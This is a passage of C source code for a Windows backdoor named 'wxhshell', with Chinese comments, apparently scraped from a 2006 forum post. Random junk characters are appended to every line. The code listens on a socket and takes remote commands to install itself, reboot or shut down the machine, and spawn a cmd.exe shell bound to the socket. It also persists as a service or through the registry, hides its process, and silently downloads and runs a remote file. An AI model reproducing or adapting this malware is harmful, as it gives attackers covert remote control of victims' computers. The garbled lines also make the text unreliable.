  // 帮助 `~eUee3b.~  
  case '?': { r(gXoq_w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YKQr, Now  
    break; !ct4;.2 D  
  } \W1/p`  
  // 安装 LdJYE;k Ju  
  case 'i': { },|M9 I0  
    if(Install()) ;;&}5jcV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,@5I:X!rR  
    else JU&+c6>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z0l+1iMx  
    break; fFQ|T:vm  
    } `p+Zz"/  
  // 卸载 `-LGU7~+  
  case 'r': { qP<Lr)nUH  
    if(Uninstall()) 2;w*oop,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r:7g%{n  
    else y!xE<S&Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5atYOep  
    break; y+7PwBo%e  
    } y|wc ,n%L>  
  // 显示 wxhshell 所在路径 fDLG>rXPT  
  case 'p': { |fo0  
    char svExeFile[MAX_PATH]; Jec'`,Y  
    strcpy(svExeFile,"\n\r"); kwsp9 0)  
      strcat(svExeFile,ExeFile); n0is\ZK 0  
        send(wsh,svExeFile,strlen(svExeFile),0); c*~]zR>s!  
    break; qgrg CJ  
    } uG<}N=  
  // 重启 ^aW Z!gi  
  case 'b': { a0Zv p>Ft  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vhhC> 7  
    if(Boot(REBOOT))  Tgl}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 x<i :x3  
    else { <m'ow  
    closesocket(wsh); [<KM?\"1<  
    ExitThread(0); A%^ILyU6c  
    } Si~vDQ7"  
    break; B-r0"MX&  
    } '}9JCJ  
  // 关机 W | o'&  
  case 'd': { #BST lz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \nP>:5E1  
    if(Boot(SHUTDOWN))  E6WA}_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1m.W<  
    else { Nr=d<Us9f  
    closesocket(wsh); =lpQnj"  
    ExitThread(0); n..g~ $k  
    }  Sr?#S  
    break; 8}(]]ayl  
    } d \35a4l  
  // 获取shell }m-FGk  
  case 's': { KSrx[q  
    CmdShell(wsh); 28=O03q  
    closesocket(wsh); {,L+1h  
    ExitThread(0); !e?.6% %   
    break; ZGd!IghL  
  } fS`$'BQ  
  // 退出 p"U, G -_  
  case 'x': { i _%Q`i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \oZ5JoO  
    CloseIt(wsh); nt@aYXK4|  
    break; ~JH:EB:  
    } ]i)j3 WDz]  
  // 离开 7!N2-6GV  
  case 'q': { Q0ON9gqqv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VzKW:St  
    closesocket(wsh); 2TA*m{\Hr  
    WSACleanup(); )[|3ZP`  
    exit(1); GbaEgA'fa  
    break; icgSe:Ci  
        } `FC(  
  } j+ LawW-  
  } oo.2Dn6z  
_zwUE  
  // 提示信息 `{xNXH]@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wg]j+r@  
} \R;`zuv   
  } 6}oXP_0U  
QhK#Y{xY  
  return; u5%7}<nNi  
} }7.PH'.8  
5>\/[I/!  
// shell模块句柄 GHeVp/u  
int CmdShell(SOCKET sock) h^o{@/2  
{ $+I;oHWI  
STARTUPINFO si; WpRc)g :  
ZeroMemory(&si,sizeof(si)); 6ZQwBS0Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2j[&=R/.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [YcG(^^  
PROCESS_INFORMATION ProcessInfo; " _ka<R..  
char cmdline[]="cmd"; YS%h^>I^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C-H@8p?T  
  return 0; TTTPxO,  
} ZXuv CI  
CLJ;<  
// 自身启动模式 W!>.$4Q9  
int StartFromService(void) a,WICv0E  
{ #Q`dku%V:  
typedef struct jyZWV L:_  
{ LMAE)]N  
  DWORD ExitStatus; vTx2E6  
  DWORD PebBaseAddress; :H wA 5Z#  
  DWORD AffinityMask; |VNnOM  
  DWORD BasePriority; HEM9E&rL  
  ULONG UniqueProcessId; ^i} L-QR  
  ULONG InheritedFromUniqueProcessId; E }nH1  
}   PROCESS_BASIC_INFORMATION; _`:1M2=  
EpX&R,Rxk  
PROCNTQSIP NtQueryInformationProcess; Tap.5jHL  
 O2%?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "*srx]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DuHu\>f<S  
TmV,&['mg  
  HANDLE             hProcess; L$E{ycn  
  PROCESS_BASIC_INFORMATION pbi; mh{1*T$fP  
T, )__h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v63"^%LX  
  if(NULL == hInst ) return 0; c5D)   
M 4?ig}kh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &RnTzqv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nbi.\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zIu E9l  
SX# e:_  
  if (!NtQueryInformationProcess) return 0; 9#MBaO8_"  
tAv@R&W,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2h1vVF3  
  if(!hProcess) return 0; A"G 1^8wvX  
"Pu!dJ5[]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G#u6Am)T  
li}1S  
  CloseHandle(hProcess); 7KAO+\)H^Y  
<?riU\-]y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +oovx2r&  
if(hProcess==NULL) return 0; K|hjEQRv  
yEhTNBa*h{  
HMODULE hMod; 8L:ji,"  
char procName[255]; )\J+Kiy)  
unsigned long cbNeeded; G <i@ 5\#  
vnM@QfN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b2OQtSr a  
KmA;HiH%J  
  CloseHandle(hProcess); 6sx'S?Qa*  
3@M|m<_R$  
if(strstr(procName,"services")) return 1; // 以服务启动 ;kS&A(  
C8 xZ;V]  
  return 0; // 注册表启动 0"\H^  
} $ us]35Z3  
4'a=pnE$  
// 主模块 e :%ieH<  
int StartWxhshell(LPSTR lpCmdLine) 3TY5;6  
{ 117EZg]O  
  SOCKET wsl; JNt^ (z  
BOOL val=TRUE; LE9(fe) fe  
  int port=0; > dI LF  
  struct sockaddr_in door; #t: S.A@  
+'I+o5*  
  if(wscfg.ws_autoins) Install(); <b`E_  
M42 Ssn)  
port=atoi(lpCmdLine); LWz&YF#T-  
V C24sU  
if(port<=0) port=wscfg.ws_port; smRE!f*q  
2(u,SQ  
  WSADATA data; T_@K& <  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -EkWs/'h  
QLEKsX7p>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VC\S'z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $Q96,rb}k;  
  door.sin_family = AF_INET; jr /pj?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;CmS ~K:  
  door.sin_port = htons(port); cDFO;Dr  
1 u| wMO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 723bkJw V  
closesocket(wsl); h]5C|M|  
return 1; aJ-K?xQ  
} k.vBj~xU  
zr+zhpp  
  if(listen(wsl,2) == INVALID_SOCKET) { JEahGzO  
closesocket(wsl); s:/8[(A  
return 1; b[t>te  
} {*0<T|<n  
  Wxhshell(wsl); \?0&0;5  
  WSACleanup(); aqRhh=iS  
b\vKJ2  
return 0; "a ueL/dgN  
Z~oo;xE  
} )}D'<^=#T  
\W1,F6&j  
// 以NT服务方式启动 V5sg#|&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }=gx#  
{ )uj Ex7&c  
DWORD   status = 0; Rot@x r7Hc  
  DWORD   specificError = 0xfffffff; "?ucO4d  
 "HElB9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5][Ztx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \K@'Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <j*;.yyC  
  serviceStatus.dwWin32ExitCode     = 0; v(B<Nb  
  serviceStatus.dwServiceSpecificExitCode = 0; /^X/8  
  serviceStatus.dwCheckPoint       = 0; zVXC1u9B  
  serviceStatus.dwWaitHint       = 0; %W%9j#!aN  
1|kvPo#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gn|F`F  
  if (hServiceStatusHandle==0) return; Qy^1*j<@&  
"!Uqcay-  
status = GetLastError(); K`iv c N"  
  if (status!=NO_ERROR) k9:{9wW  
{ VL% UR{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WG N=Y~E  
    serviceStatus.dwCheckPoint       = 0; S{PJUAu  
    serviceStatus.dwWaitHint       = 0; T]t+E'sQ  
    serviceStatus.dwWin32ExitCode     = status; ]h>_\9qO  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ss~;m']68  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f!oT65Vmi  
    return; WM| dKF  
  } l>Z5 uSG  
E~%jX }/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :*ing  
  serviceStatus.dwCheckPoint       = 0; DF1I[b=]  
  serviceStatus.dwWaitHint       = 0; +=q$x Ia  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i`Q KH  
} UUzYbuS>&l  
4]h =yc R  
// 处理NT服务事件,比如:启动、停止 3Mxp)uG/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B:gjAb}9T  
{ 9Wnn'T@Tl  
switch(fdwControl) @x"0_Qw  
{ :p]'32FA!  
case SERVICE_CONTROL_STOP: -R57@D>j\  
  serviceStatus.dwWin32ExitCode = 0; z.GMqW%B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :bz}c48%  
  serviceStatus.dwCheckPoint   = 0; P%{^i]  
  serviceStatus.dwWaitHint     = 0; |?qquD 4=  
  { CjlKMbnBH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zaah^.MA|  
  } r30 <(nF  
  return; 9cf:pXMi  
case SERVICE_CONTROL_PAUSE: {DU`[:SQZg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Xce9C0SW  
  break; zUKmxy@  
case SERVICE_CONTROL_CONTINUE: D+>4AqG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z8rvWH9  
  break; 9?0^ap,T  
case SERVICE_CONTROL_INTERROGATE: 8-BflejX  
  break; x 7~r,x(xM  
};  c|M6 <}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @xbQYe%J  
} >sK!F$  
P8>~c9$I  
// 标准应用程序主函数 w *oeK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n}'=yItVL1  
{ 5qr'.m  
NMa} <  
// 获取操作系统版本 %kdE un  
OsIsNt=GetOsVer(); nHm}zOLc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JKGc3j,+#  
cFeXpj?GV  
  // 从命令行安装 *QLI3B9V  
  if(strpbrk(lpCmdLine,"iI")) Install(); <4P4u*/o  
 #`o2Z  
  // 下载执行文件 )rekY;  
if(wscfg.ws_downexe) { -F<Wd/Xse  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EJsM(iG]~M  
  WinExec(wscfg.ws_filenam,SW_HIDE); !4^C #{$  
} 8=gjY\Dp  
W3 'q\+  
if(!OsIsNt) { i70w rW#k  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;*:Pw?'  
HideProc(); Pmh8sw  
StartWxhshell(lpCmdLine); dvt9u9Vg=  
} T[j#M+p  
else Of4^?` ^  
  if(StartFromService()) 5 N#3a0)  
  // 以服务方式启动 " N9 <wU  
  StartServiceCtrlDispatcher(DispatchTable); 4`!Z$kt  
else TrLu~4  
  // 普通方式启动 aB7+Tb  
  StartWxhshell(lpCmdLine); /f|X(docI  
&(xH$htv1  
return 0; PfC!lI BU  
}
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只看该作者 1 发表于: 2006-10-10
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